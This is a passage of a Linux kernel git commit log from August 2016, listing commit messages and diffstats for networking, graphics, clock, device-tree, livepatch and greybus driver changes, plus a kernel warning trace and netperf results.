Schimmel Date: Thu Aug 25 18:42:39 2016 +0200 mlxsw: spectrum: Allow different traps to have different actions Up until now we only trapped packets to CPU, but we are going to allow some packets to be mirrored (trap & forward) to CPU. Extend the Rx listener with 'action' member. Signed-off-by: Ido Schimmel Signed-off-by: Jiri Pirko Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlxsw/core.h | 1 + drivers/net/ethernet/mellanox/mlxsw/spectrum.c | 59 +++++++++++++------------- 2 files changed, 31 insertions(+), 29 deletions(-) commit 93393b339dea263b42eecd6ff680f77a08614cc5 Author: Ido Schimmel Date: Thu Aug 25 18:42:38 2016 +0200 mlxsw: spectrum: Simplify traps definition Instead of copying & pasting the same struct initialization for every Rx listener, just use a macro. Signed-off-by: Ido Schimmel Signed-off-by: Jiri Pirko Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlxsw/spectrum.c | 146 ++++++------------------- 1 file changed, 31 insertions(+), 115 deletions(-) commit 6bc506b4fb065eac3d89ca1ce37082e174493d9e Author: Ido Schimmel Date: Thu Aug 25 18:42:37 2016 +0200 bridge: switchdev: Add forward mark support for stacked devices switchdev_port_fwd_mark_set() is used to set the 'offload_fwd_mark' of port netdevs so that packets being flooded by the device won't be flooded twice. It works by assigning a unique identifier (the ifindex of the first bridge port) to bridge ports sharing the same parent ID. This prevents packets from being flooded twice by the same switch, but will flood packets through bridge ports belonging to a different switch. This method is problematic when stacked devices are taken into account, such as VLANs. In such cases, a physical port netdev can have upper devices being members in two different bridges, thus requiring two different 'offload_fwd_mark's to be configured on the port netdev, which is impossible. The main problem is that packet and netdev marking is performed at the physical netdev level, whereas flooding occurs between bridge ports, which are not necessarily port netdevs. Instead, packet and netdev marking should really be done in the bridge driver with the switch driver only telling it which packets it already forwarded. The bridge driver will mark such packets using the mark assigned to the ingress bridge port and will prevent the packet from being forwarded through any bridge port sharing the same mark (i.e. having the same parent ID). Remove the current switchdev 'offload_fwd_mark' implementation and instead implement the proposed method. In addition, make rocker - the sole user of the mark - use the proposed method. Signed-off-by: Ido Schimmel Signed-off-by: Jiri Pirko Signed-off-by: David S. Miller Documentation/networking/switchdev.txt | 13 ++--- drivers/net/ethernet/rocker/rocker_main.c | 2 +- drivers/net/ethernet/rocker/rocker_ofdpa.c | 4 -- include/linux/netdevice.h | 5 -- include/linux/skbuff.h | 13 ++--- include/net/switchdev.h | 6 --- net/bridge/Makefile | 2 + net/bridge/br_forward.c | 3 +- net/bridge/br_if.c | 10 ++-- net/bridge/br_input.c | 2 + net/bridge/br_private.h | 37 +++++++++++++ net/bridge/br_switchdev.c | 57 ++++++++++++++++++++ net/core/dev.c | 10 ---- net/switchdev/switchdev.c | 85 ------------------------------ 14 files changed, 117 insertions(+), 132 deletions(-) commit 5c326ab49e5ee014ba5314c076fe9b93fd8b0406 Author: Ido Schimmel Date: Thu Aug 25 18:42:36 2016 +0200 switchdev: Support parent ID comparison for stacked devices switchdev_port_same_parent_id() currently expects port netdevs, but we need it to support stacked devices in the next patch, so drop the NO_RECURSE flag. Signed-off-by: Ido Schimmel Signed-off-by: Jiri Pirko Signed-off-by: David S. Miller net/switchdev/switchdev.c | 2 -- 1 file changed, 2 deletions(-) commit 74002fcde01d8acb4ce68878e9998fad51fe7925 Author: Stephen Boyd Date: Thu Aug 25 13:35:36 2016 -0700 clk: Simplify __of_clk_get_hw_from_provider() __of_clk_get_hw_from_provider() is confusing because it will return EPROBE_DEFER if there isn't a ->get() or ->get_hw() function pointer in a provider. That's just a bug though, and we used to NULL pointer exception when ->get() was missing anyway, so let's make this more obvious that they're not optional. The assumption is that most providers will implement ->get_hw() so we only fallback to the ->get() function if necessary. This clarifies the intent and removes any possibility of probe defer happening if clk providers are buggy. Reported-by: Masahiro Yamada Reviewed-by: Sylwester Nawrocki Signed-off-by: Stephen Boyd drivers/clk/clk.c | 17 ++++++----------- 1 file changed, 6 insertions(+), 11 deletions(-) commit d42c047245ae09ebc2f506c5d1730ce3113278ac Author: Rafał Miłecki Date: Fri Aug 26 14:58:07 2016 +0200 clk: return unsigned int in dummy non-OF of_clk_get_parent_count() In the commit 929e7f3bc7b82 ("clk: Make of_clk_get_parent_count() return unsigned ints") of_clk_get_parent_count has been modified to return unsigned int. There is also a dummy implementation of the same function for configs without CONFIG_OF. For the consistency it should be updated as well. Signed-off-by: Rafał Miłecki Signed-off-by: Stephen Boyd include/linux/clk-provider.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit f7978a0c581a8a840a28306f8da43e06e7fef3bf Author: Chris Wilson Date: Mon Aug 22 09:03:36 2016 +0100 drm/i915: Allow the user to pass a context to any ring With full-ppgtt, we want the user to have full control over their memory layout, with a separate instance per context. Forcing them to use a shared memory layout for !RCS not only duplicates the amount of work we have to do, but also defeats the memory segregation on offer. Signed-off-by: Chris Wilson Link: http://patchwork.freedesktop.org/patch/msgid/20160822080350.4964-4-chris@chris-wilson.co.uk Reviewed-by: John Harrison Reviewed-by: Thomas Daniel Acked-by: Daniel Vetter drivers/gpu/drm/i915/i915_gem_execbuffer.c | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) commit 31fc0ad47e2e0b8417616aa0f1ddcc67edf1e109 Author: Ley Foon Tan Date: Fri Aug 26 09:47:24 2016 +0800 PCI: altera: Rework config accessors for use without a struct pci_bus Rework configs accessors so a future patch can use them in _probe() with struct altera_pcie instead of struct pci_bus. Signed-off-by: Ley Foon Tan Signed-off-by: Bjorn Helgaas drivers/pci/host/pcie-altera.c | 64 +++++++++++++++++++++++++++--------------- 1 file changed, 41 insertions(+), 23 deletions(-) commit 2a313cdf1e6e4cc8cc3f16f976e1abfbdd0626fa Author: Ivan Vecera Date: Thu Aug 25 16:46:44 2016 +0200 devlink: remove unused priv_size Remove unused and useless priv_size member from struct devlink_ops. Cc: Jiri Pirko Signed-off-by: Ivan Vecera Acked-by: Jiri Pirko Signed-off-by: David S. Miller include/net/devlink.h | 1 - 1 file changed, 1 deletion(-) commit 145dd5f9c88f6ee645662df0be003e8f04bdae93 Author: Paolo Abeni Date: Thu Aug 25 15:58:44 2016 +0200 net: flush the softnet backlog in process context Currently in process_backlog(), the process_queue dequeuing is performed with local IRQ disabled, to protect against flush_backlog(), which runs in hard IRQ context. This patch moves the flush operation to a work queue and runs the callback with bottom half disabled to protect the process_queue against dequeuing. Since process_queue is now always manipulated in bottom half context, the irq disable/enable pair around the dequeue operation are removed. To keep the flush time as low as possible, the flush works are scheduled on all online cpu simultaneously, using the high priority work-queue and statically allocated, per cpu, work structs. Overall this change increases the time required to destroy a device to improve slightly the packets reinjection performances. Acked-by: Hannes Frederic Sowa Signed-off-by: Paolo Abeni Acked-by: Eric Dumazet Signed-off-by: David S. Miller net/core/dev.c | 72 ++++++++++++++++++++++++++++++++++++++++------------------ 1 file changed, 50 insertions(+), 22 deletions(-) commit 72f4af4e4706a07727765bc6b7bdace4b1543543 Author: Nikolay Aleksandrov Date: Thu Aug 25 14:27:51 2016 +0200 net: bridge: export also pvid flag in the xstats flags When I added support to export the vlan entry flags via xstats I forgot to add support for the pvid since it is manually matched, so check if the entry matches the vlan_group's pvid and set the flag appropriately. Signed-off-by: Nikolay Aleksandrov Signed-off-by: David S. Miller net/bridge/br_netlink.c | 5 +++++ 1 file changed, 5 insertions(+) commit c80fafbbb59ef9924962f83aac85531039395b18 Author: Xin Long Date: Thu Aug 25 13:21:49 2016 +0800 veth: sctp: add NETIF_F_SCTP_CRC to device features Commit b17c706987fa ("loopback: sctp: add NETIF_F_SCTP_CSUM to device features") added NETIF_F_SCTP_CRC to device features for lo device to improve the performance of sctp over lo. This patch is to add NETIF_F_SCTP_CRC to device features for veth to improve the performance of sctp over veth. Before this patch: ip netns exec cs_client netperf -H 10.167.12.2 -t SCTP_STREAM -- -m 10K Recv Send Send Socket Socket Message Elapsed Size Size Size Time Throughput bytes bytes bytes secs. 10^6bits/sec 212992 212992 10240 10.00 1117.16 After this patch: ip netns exec cs_client netperf -H 10.167.12.2 -t SCTP_STREAM -- -m 10K Recv Send Send Socket Socket Message Elapsed Size Size Size Time Throughput bytes bytes bytes secs. 10^6bits/sec 212992 212992 10240 10.20 1415.22 Tested-by: Li Shuang Signed-off-by: Xin Long Signed-off-by: David S. Miller drivers/net/veth.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit b44a0a72dfd5fc5e3194f0c8eeec5b43d33ae792 Author: Hans de Goede Date: Fri Aug 26 16:52:35 2016 +0200 ARM: dts: sun8i: Add dt node for esp8089 wifi chip on polaroid-mid2809 The polaroid-mid2809 tablet has an esp8089 wifi chip, add a dt node describing it. Signed-off-by: Hans de Goede Signed-off-by: Maxime Ripard .../boot/dts/sun8i-a23-polaroid-mid2809pxe04.dts | 42 ++++++++++++++++++++++ 1 file changed, 42 insertions(+) commit 1e03325af6a570ff7e6621b7eb1b3108ca67d8f9 Author: Hans de Goede Date: Fri Aug 26 16:52:34 2016 +0200 ARM: dts: sun8i: Add dt node for esp8089 wifi chip on polaroid-mid2407 The polaroid-mid2407 tablet has an esp8089 wifi chip, add a dt node describing it. Signed-off-by: Hans de Goede Signed-off-by: Maxime Ripard .../boot/dts/sun8i-a23-polaroid-mid2407pxe03.dts | 42 ++++++++++++++++++++++ 1 file changed, 42 insertions(+) commit 7850d1c35344c7bd6a357240f2f9f60fc2c097b5 Author: Chris Wilson Date: Fri Aug 26 11:59:26 2016 +0100 drm/i915: Add GEN7_PCODE_MIN_FREQ_TABLE_GT_RATIO_OUT_OF_RANGE to SNB According to the CI test machines, SNB also uses the GEN7_PCODE_MIN_FREQ_TABLE_GT_RATIO_OUT_OF_RANGE value to report a bad GEN6_PCODE_MIN_FREQ_TABLE request. [ 157.744641] WARNING: CPU: 5 PID: 9238 at drivers/gpu/drm/i915/intel_pm.c:7760 sandybridge_pcode_write+0x141/0x200 [i915] [ 157.744642] Missing switch case (16) in gen6_check_mailbox_status [ 157.744642] Modules linked in: snd_hda_intel i915 ax88179_178a usbnet mii x86_pkg_temp_thermal intel_powerclamp coretemp crct10dif_pclmul crc32_pclmul ghash_clmulni_intel snd_hda_codec_hdmi snd_hda_codec_realtek snd_hda_codec_generic snd_hda_codec snd_hwdep snd_hda_core mei_me lpc_ich snd_pcm mei broadcom bcm_phy_lib tg3 ptp pps_core [last unloaded: vgem] [ 157.744658] CPU: 5 PID: 9238 Comm: drv_hangman Tainted: G U W 4.8.0-rc3-CI-CI_DRM_1589+ #1 [ 157.744658] Hardware name: Dell Inc. XPS 8300 /0Y2MRG, BIOS A06 10/17/2011 [ 157.744659] 0000000000000000 ffff88011f093a98 ffffffff81426415 ffff88011f093ae8 [ 157.744662] 0000000000000000 ffff88011f093ad8 ffffffff8107d2a6 00001e50810d3c9f [ 157.744663] ffff880128680000 0000000000000008 0000000000000000 ffff88012868a650 [ 157.744665] Call Trace: [ 157.744669] [] dump_stack+0x67/0x92 [ 157.744672] [] __warn+0xc6/0xe0 [ 157.744673] [] warn_slowpath_fmt+0x4a/0x50 [ 157.744685] [] sandybridge_pcode_write+0x141/0x200 [i915] [ 157.744697] [] intel_enable_gt_powersave+0x64a/0x1330 [i915] [ 157.744712] [] ? i9xx_emit_request+0x1b/0x80 [i915] [ 157.744725] [] __i915_add_request+0x1e3/0x370 [i915] [ 157.744738] [] i915_gem_do_execbuffer.isra.16+0xced/0x1b80 [i915] [ 157.744740] [] ? __might_fault+0x3e/0x90 [ 157.744752] [] i915_gem_execbuffer2+0xc2/0x2a0 [i915] [ 157.744753] [] drm_ioctl+0x207/0x4c0 [ 157.744765] [] ? i915_gem_execbuffer+0x360/0x360 [i915] [ 157.744767] [] ? debug_lockdep_rcu_enabled+0x1d/0x20 [ 157.744769] [] do_vfs_ioctl+0x8e/0x680 [ 157.744770] [] ? __might_fault+0x87/0x90 [ 157.744771] [] ? __might_fault+0x3e/0x90 [ 157.744773] [] ? trace_hardirqs_on_caller+0x122/0x1b0 [ 157.744774] [] SyS_ioctl+0x3c/0x70 [ 157.744776] [] entry_SYSCALL_64_fastpath+0x1c/0xac Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=97491 Fixes: 87660502f1a4 ("drm/i915/gen6+: Interpret mailbox error flags") Signed-off-by: Chris Wilson Cc: Lyude Cc: Matt Roper Cc: Maarten Lankhorst Cc: Daniel Vetter Cc: Ville Syrjälä Cc: stable@vger.kernel.org Link: http://patchwork.freedesktop.org/patch/msgid/20160826105926.3413-1-chris@chris-wilson.co.uk Acked-by: Mika Kuoppala drivers/gpu/drm/i915/intel_pm.c | 1 + 1 file changed, 1 insertion(+) commit f56e6fe09c7848f0a299e661153977372a11abad Author: Linus Walleij Date: Wed Aug 24 16:24:12 2016 +0200 ARM: omap2plus_defconfig: switch to the IIO BMP085 driver This alters the OMAP2plus defconfig to use the IIO BMP280 driver, which is compatible with the BMP085 instead of the old BMP085-specific misc driver. The IIO driver nowadays have all the features of the old driver and more. Signed-off-by: Linus Walleij Signed-off-by: Tony Lindgren arch/arm/configs/omap2plus_defconfig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 502ad2a669f146e0801973c42e55478322f2d382 Author: Javier Martinez Canillas Date: Thu Aug 11 15:29:45 2016 -0400 ARM: OMAP2+: use IS_ENABLED() instead of checking for built-in or module The IS_ENABLED() macro checks if a Kconfig symbol has been enabled either built-in or as a module, use that macro instead of open coding the same. Using the macro makes the code more readable by helping abstract away some of the Kconfig built-in and module enable details. Signed-off-by: Javier Martinez Canillas Signed-off-by: Tony Lindgren arch/arm/mach-omap2/board-flash.c | 10 ++++------ arch/arm/mach-omap2/board-flash.h | 11 +++-------- arch/arm/mach-omap2/board-n8x0.c | 5 ++--- arch/arm/mach-omap2/board-rx51-peripherals.c | 23 +++++++++++------------ arch/arm/mach-omap2/board-rx51-video.c | 4 ++-- arch/arm/mach-omap2/common-board-devices.c | 3 +-- arch/arm/mach-omap2/devices.c | 7 +++---- arch/arm/mach-omap2/drm.c | 2 +- arch/arm/mach-omap2/fb.c | 2 +- arch/arm/mach-omap2/gpmc-smsc911x.h | 2 +- arch/arm/mach-omap2/hsmmc.c | 2 +- arch/arm/mach-omap2/hsmmc.h | 2 +- arch/arm/mach-omap2/twl-common.c | 3 +-- 13 files changed, 32 insertions(+), 44 deletions(-) commit fcebddb9d824dd0242af110fd87e8b8ba70a055c Author: Javier Martinez Canillas Date: Thu Aug 11 15:29:44 2016 -0400 ARM: OMAP1: use IS_ENABLED() instead of checking for built-in or module The IS_ENABLED() macro checks if a Kconfig symbol has been enabled either built-in or as a module, use that macro instead of open coding the same. Using the macro makes the code more readable by helping abstract away some of the Kconfig built-in and module enable details. Signed-off-by: Javier Martinez Canillas Signed-off-by: Tony Lindgren arch/arm/mach-omap1/board-h2-mmc.c | 2 +- arch/arm/mach-omap1/board-h2.c | 2 +- arch/arm/mach-omap1/board-h3-mmc.c | 2 +- arch/arm/mach-omap1/board-h3.c | 2 +- arch/arm/mach-omap1/board-htcherald.c | 4 ++-- arch/arm/mach-omap1/board-innovator.c | 4 ++-- arch/arm/mach-omap1/board-nokia770.c | 4 ++-- arch/arm/mach-omap1/board-sx1-mmc.c | 2 +- arch/arm/mach-omap1/devices.c | 10 +++++----- arch/arm/mach-omap1/fb.c | 2 +- arch/arm/mach-omap1/include/mach/usb.h | 2 +- arch/arm/mach-omap1/mmc.h | 2 +- arch/arm/mach-omap1/usb.c | 6 +++--- 13 files changed, 22 insertions(+), 22 deletions(-) commit 7073b16f3dff83df1b0794262386abb869e8d180 Author: Pablo Neira Ayuso Date: Fri Aug 26 13:42:17 2016 +0200 netfilter: nf_tables: Use nla_put_be32() to dump immediate parameters nft_dump_register() should only be used with registers, not with immediates. Fixes: cb1b69b0b15b ("netfilter: nf_tables: add hash expression") Fixes: 91dbc6be0a62("netfilter: nf_tables: add number generator expression") Signed-off-by: Pablo Neira Ayuso net/netfilter/nft_hash.c | 6 +++--- net/netfilter/nft_numgen.c | 4 ++-- 2 files changed, 5 insertions(+), 5 deletions(-) commit c016c7e45ddfa5085b35b644e659ec014969740d Author: Pablo Neira Ayuso Date: Wed Aug 24 12:41:54 2016 +0200 netfilter: nf_tables: honor NLM_F_EXCL flag in set element insertion If the NLM_F_EXCL flag is set, then new elements that clash with an existing one return EEXIST. In case you try to add an element whose data area differs from what we have, then this returns EBUSY. If no flag is specified at all, then this returns success to userspace. This patch also update the set insert operation so we can fetch the existing element that clashes with the one you want to add, we need this to make sure the element data doesn't differ. Signed-off-by: Pablo Neira Ayuso include/net/netfilter/nf_tables.h | 3 ++- net/netfilter/nf_tables_api.c | 20 +++++++++++++++----- net/netfilter/nft_set_hash.c | 17 +++++++++++++---- net/netfilter/nft_set_rbtree.c | 12 ++++++++---- 4 files changed, 38 insertions(+), 14 deletions(-) commit 5ca8cc5bf11faed257c762018aea9106d529232f Author: Pablo Neira Ayuso Date: Wed Aug 24 12:31:31 2016 +0200 rhashtable: add rhashtable_lookup_get_insert_key() This patch modifies __rhashtable_insert_fast() so it returns the existing object that clashes with the one that you want to insert. In case the object is successfully inserted, NULL is returned. Otherwise, you get an error via ERR_PTR(). This patch adapts the existing callers of __rhashtable_insert_fast() so they handle this new logic, and it adds a new rhashtable_lookup_get_insert_key() interface to fetch this existing object. nf_tables needs this change to improve handling of EEXIST cases via honoring the NLM_F_EXCL flag and by checking if the data part of the mapping matches what we have. Cc: Herbert Xu Cc: Thomas Graf Signed-off-by: Pablo Neira Ayuso Acked-by: Herbert Xu include/linux/rhashtable.h | 70 +++++++++++++++++++++++++++++++++++++--------- lib/rhashtable.c | 10 +++++-- 2 files changed, 64 insertions(+), 16 deletions(-) commit 291f1af53bc0ae67aadeb72a1c1ad675e46e9b01 Author: Sekhar Nori Date: Tue Aug 23 11:57:41 2016 +0300 ARM: dts: dra7: workaround silicon limitation i845 Silicon limitation i845 documents how to cope with false disconnection condition on USB2 PHY. Reference: AM572x silicon errata document SPRZ429H, revised January 2016. Using compatible "ti,dra7x-usb2" enables the recommended software workaround for this issue. Use it for USB1 PHY. The workaround is already in place for USB2 PHY. Signed-off-by: Sekhar Nori Signed-off-by: Roger Quadros Signed-off-by: Tony Lindgren arch/arm/boot/dts/dra7.dtsi | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 316ba624f150815e5f993d691808968561b42848 Author: Stefan Müller-Klieser Date: Wed Aug 10 17:12:15 2016 +0200 ARM: dts: am335x-wega: Add audio support The wega board has a TLV320AIC3007 connected via McASP0. In the default configuration, no external crystal is mounted. We run a system clock of 25 MHz, so we use the audio codec PLL for audio clock generation. Signed-off-by: Stefan Müller-Klieser Reviewed-by: Peter Ujfalusi Signed-off-by: Tony Lindgren arch/arm/boot/dts/am335x-wega.dtsi | 62 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 62 insertions(+) commit 504482e565ba85eb3da73ddc57acfc05d10e7db6 Author: Vignesh R Date: Tue Aug 2 10:51:47 2016 +0530 ARM: dts: am57xx-idk-common: Enable support for QSPI AM572x IDK has a Spansion s25fl256s1 QSPI flash on the EVM connected to TI QSPI IP over CS0. Hence, add QSPI and flash slave DT nodes. Signed-off-by: Vignesh R Signed-off-by: Tony Lindgren arch/arm/boot/dts/am57xx-idk-common.dtsi | 49 ++++++++++++++++++++++++++++++++ 1 file changed, 49 insertions(+) commit a0b83af0dfd751f88bf5c452e7bbe7efe877da3d Author: Vignesh R Date: Mon Aug 1 18:36:55 2016 +0530 ARM: dts: dra7xx: Increase spi-max-frequency to 76.8MHz for QSPI According to AM572x DM SPRS953A, QSPI maximum bus speed can be 76.8MHz. Therefore, increase the spi-max-frequency value of QSPI node to 76.8MHz for DRA74 and DRA72 evm. This improves flash raw read speed by ~2MB/s. Signed-off-by: Vignesh R Signed-off-by: Tony Lindgren arch/arm/boot/dts/dra7-evm.dts | 4 ++-- arch/arm/boot/dts/dra72-evm-common.dtsi | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) commit 9860f7e920ff812ea580bb4871d3e117e2a81c28 Author: Keerthy Date: Mon Jul 4 15:25:13 2016 +0530 ARM: dts: AM43X-EPOS-EVM: Remove redundant regulator compatibles With the device tree parsing using the regulator framework there is a no longer a need for separate compatibles for individual regulator nodes. Hence removing them all. Signed-off-by: Keerthy Signed-off-by: Tony Lindgren arch/arm/boot/dts/am43x-epos-evm.dts | 7 ------- 1 file changed, 7 deletions(-) commit 77c09a9e5529febe7d2f72ebb942941a9e16f63c Author: Keerthy Date: Mon Jul 4 15:25:12 2016 +0530 ARM: dts: AM437X-CM-T43: Remove redundant regulator compatibles With the device tree parsing using the regulator framework there is a no longer a need for separate compatibles for individual regulator nodes. Hence removing them all. Signed-off-by: Keerthy Signed-off-by: Tony Lindgren arch/arm/boot/dts/am437x-cm-t43.dts | 6 ------ 1 file changed, 6 deletions(-) commit c332f79e25545731496f05cd99e1f5c7367b75ca Author: Keerthy Date: Mon Jul 4 15:25:11 2016 +0530 ARM: dts: AM437X-SK-EVM: Remove redundant regulator compatibles With the device tree parsing using the regulator framework there is a no longer a need for separate compatibles for individual regulator nodes. Hence removing them all. Signed-off-by: Keerthy Signed-off-by: Tony Lindgren arch/arm/boot/dts/am437x-sk-evm.dts | 5 ----- 1 file changed, 5 deletions(-) commit b9db016a46e734d1d21e0576084143b23f742ff4 Author: Keerthy Date: Mon Jul 4 15:25:10 2016 +0530 ARM: dts: AM437X-GP-EVM: Remove redundant regulator compatibles With the device tree parsing using the regulator framework there is a no longer a need for separate compatibles for individual regulator nodes. Hence removing them all. Signed-off-by: Keerthy Signed-off-by: Tony Lindgren arch/arm/boot/dts/am437x-gp-evm.dts | 6 ------ 1 file changed, 6 deletions(-) commit 5a9009f3d6615907683bcaf25e26c4ba73dec320 Author: Tero Kristo Date: Thu Aug 11 10:57:50 2016 +0530 ARM: dts: am437x-sk-evm: disable DDR regulator in rtc-only/poweroff mode Without this, the memory will remain active during poweroff consuming extra power. Please note revision 2.1 PMIC seems to fail when DCDC3 disable is attempted, so this is not done on that PMIC revision. The PMIC revision checks in the regulator patches make sure of this. Signed-off-by: Tero Kristo Signed-off-by: Dave Gerlach Signed-off-by: Keerthy Signed-off-by: Tony Lindgren arch/arm/boot/dts/am437x-sk-evm.dts | 3 +++ 1 file changed, 3 insertions(+) commit 7ec3299175405d694e6c4f97b7136ea4f1f018f5 Author: Tero Kristo Date: Thu Aug 11 10:57:49 2016 +0530 ARM: dts: am437x-gp-evm: disable DDR regulator in rtc-only/poweroff mode Without this, the memory will remain active during poweroff consuming extra power. Signed-off-by: Tero Kristo Signed-off-by: Dave Gerlach Signed-off-by: Keerthy Signed-off-by: Tony Lindgren arch/arm/boot/dts/am437x-gp-evm.dts | 3 +++ 1 file changed, 3 insertions(+) commit 1bc5e139c3eee50171ebb0ad95c6d00d57eba520 Author: Keerthy Date: Thu Aug 11 10:57:48 2016 +0530 ARM: dts: AM437X-GP-EVM: AM437X-SK-EVM: Make dcdc3 dcdc5 and dcdc6 enable during suspend dcdc3, dcdc5, dcdc6 supply ddr and rtc respectively. These are required to be on during suspend. Hence set the state accordingly. Signed-off-by: Keerthy Signed-off-by: Tony Lindgren arch/arm/boot/dts/am437x-gp-evm.dts | 10 ++++++++++ arch/arm/boot/dts/am437x-sk-evm.dts | 27 +++++++++++++++++++++++++++ 2 files changed, 37 insertions(+) commit 88bf46bfde1eaa5f27bc5df75912b1ab7c7baf7e Merge: 2ccb5bf f6c1d35 Author: Martin Schwidefsky Date: Fri Aug 26 16:27:15 2016 +0200 Merge branch 's390forkvm' of git://git.kernel.org/pub/scm/linux/kernel/git/kvms390/linux Pull facility mask patch from the KVM tree. * tag 's390forkvm' of git://git.kernel.org/pub/scm/linux/kernel/git/kvms390/linux KVM: s390: generate facility mask from readable list commit 5a0e0691147a7f841ddb54d067b165071dff592f Author: Andy Gross Date: Tue Aug 23 14:25:32 2016 +0100 ARM: 8601/1: Remove unused secure_flush_area API This patch removes the unused secure_flush_area function. The only consumer of this function has moved to using the streaming DMA APIs. Signed-off-by: Andy Gross Signed-off-by: Russell King arch/arm/include/asm/cacheflush.h | 17 ----------------- 1 file changed, 17 deletions(-) commit c94e4ad2d5e0e5f4036cccaa0e6e773841e8f859 Author: Russell King Date: Fri Aug 19 16:24:36 2016 +0100 ARM: document and update UNCACHEABLE_ADDR definitions Document the UNCACHEABLE_ADDR definitions for footbridge and SA1100 so that we know where they're located and/or what they're accessing. Change RiscPC to calculate the UNCACHEABLE_ADDR value from FLUSH_BASE as that's where we locate that. UNCACHEABLE_ADDR is used to perform an uncached access (ARMv4 terminology) necessary to force a CPU clock-switch to the memory- speed clock, as required for entering WFI. Signed-off-by: Russell King arch/arm/mach-footbridge/include/mach/hardware.h | 2 +- arch/arm/mach-rpc/include/mach/hardware.h | 2 +- arch/arm/mach-sa1100/include/mach/hardware.h | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) commit 996453571b33ba2ae07211ff9e8a09b28e49aec5 Author: Sergei Shtylyov Date: Wed Aug 24 22:22:22 2016 +0300 ARM: dts: blanche: add support for general purpose LEDs Add support for the general purpose LEDs on the Blanche board. Signed-off-by: Sergei Shtylyov Signed-off-by: Simon Horman arch/arm/boot/dts/r8a7792-blanche.dts | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) commit 2992ef29ae01af998399d55ed7c692a2505fb8af Author: Josh Poimboeuf Date: Thu Aug 25 10:04:45 2016 -0500 livepatch/module: make TAINT_LIVEPATCH module-specific There's no reliable way to determine which module tainted the kernel with TAINT_LIVEPATCH. For example, /sys/module//taint doesn't report it. Neither does the "mod -t" command in the crash tool. Make it crystal clear who the guilty party is by associating TAINT_LIVEPATCH with any module which sets the "livepatch" modinfo attribute. The flag will still get set in the kernel like before, but now it also sets the same flag in mod->taint. Note that now the taint flag gets set when the module is loaded rather than when it's enabled. I also renamed find_livepatch_modinfo() to check_modinfo_livepatch() to better reflect its purpose: it's basically a livepatch-specific sub-function of check_modinfo(). Reported-by: Chunyu Hu Reviewed-by: Petr Mladek Acked-by: Miroslav Benes Acked-by: Jessica Yu Acked-by: Rusty Russell Signed-off-by: Josh Poimboeuf Signed-off-by: Jiri Kosina kernel/livepatch/core.c | 3 --- kernel/module.c | 13 +++++++++---- 2 files changed, 9 insertions(+), 7 deletions(-) commit bb4b6201d21653c99e41d1e57b3b26524be0e87e Author: Shunqian Zheng Date: Fri Aug 26 08:00:44 2016 +0800 arm64: dts: rockchip: set to CCI clock of RK3399 to 600M Per testing, this can reduce the memory latency and d8 gets better scores. Signed-off-by: Shunqian Zheng Signed-off-by: Caesar Wang Signed-off-by: Heiko Stuebner arch/arm64/boot/dts/rockchip/rk3399.dtsi | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 0895b3a8fd855a448b5c37e54f0c57ece4f421fa Author: Xing Zheng Date: Fri Aug 26 14:22:30 2016 +0800 arm64: dts: rockchip: fix the address map for WDT0 and WDT1 Due to incorrect description in the TRM, the WDTs base address should be fixed and swap them like this: WDT0 - 0xff848000 WDT1 - 0xff840000 And, it is right that only WDT0 can generate global software reset. We will update the TRM to fix it. Signed-off-by: Xing Zheng Signed-off-by: Heiko Stuebner arch/arm64/boot/dts/rockchip/rk3399.dtsi | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 1f3e09e759061f803b03039070605b5a524da547 Author: Johan Hovold Date: Fri Aug 26 12:59:45 2016 +0200 greybus: svc: fix timeout indentation Make sure the timeout values are aligned. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 1b1732c4c473ba59901cf5cc5c6ef2d3578cce14 Author: Johan Hovold Date: Fri Aug 26 12:55:51 2016 +0200 greybus: es2: remove obsolete cport-reset ARPC Remove the now obsolete and redundant cport-reset ARPC, along with the consequently unused cport_disable callback. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arpc.h | 5 ----- drivers/staging/greybus/es2.c | 38 -------------------------------------- 2 files changed, 43 deletions(-) commit 2045c9f265a1ed882a8d773da916460697c51ffc Author: Johan Hovold Date: Fri Aug 26 12:55:50 2016 +0200 greybus: hd/es2: remove obsolete callbacks Remove the now obsolete ping and cport_features_enable/disable callbacks. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 37 ----------------------------- drivers/staging/greybus/greybus_protocols.h | 4 ---- drivers/staging/greybus/hd.h | 3 --- 3 files changed, 44 deletions(-) commit aac0839ea20306401f6e18cf8ea97d98fd42bcb5 Author: Johan Hovold Date: Fri Aug 26 12:55:49 2016 +0200 greybus: connection: implement new connection handling Implement the new connection setup and tear-down sequences for control connections and bundle connections (offloaded and non-offloaded). Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 127 ++++++++++++++++++++-------- drivers/staging/greybus/greybus_protocols.h | 6 +- 2 files changed, 97 insertions(+), 36 deletions(-) commit 77e52b3b0b6489968fa7d230052afca47c556ad6 Author: Johan Hovold Date: Fri Aug 26 12:55:48 2016 +0200 greybus: es2: implement shutdown callback Implement the shutdown callback which is used to execute shutdown operations on offloaded connections. This adds a new shutdown ARPC. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arpc.h | 7 +++++++ drivers/staging/greybus/es2.c | 27 +++++++++++++++++++++++++++ 2 files changed, 34 insertions(+) commit d2dee94b66162d0839dcccee663c90400492fd1b Author: Johan Hovold Date: Fri Aug 26 12:55:47 2016 +0200 greybus: es2: implement flush callback Implement the flush callback which is called as part of connection tear down to flush host-device queues and stop any ongoing transfers. Note that this should be considered an optimisation of sort since if the 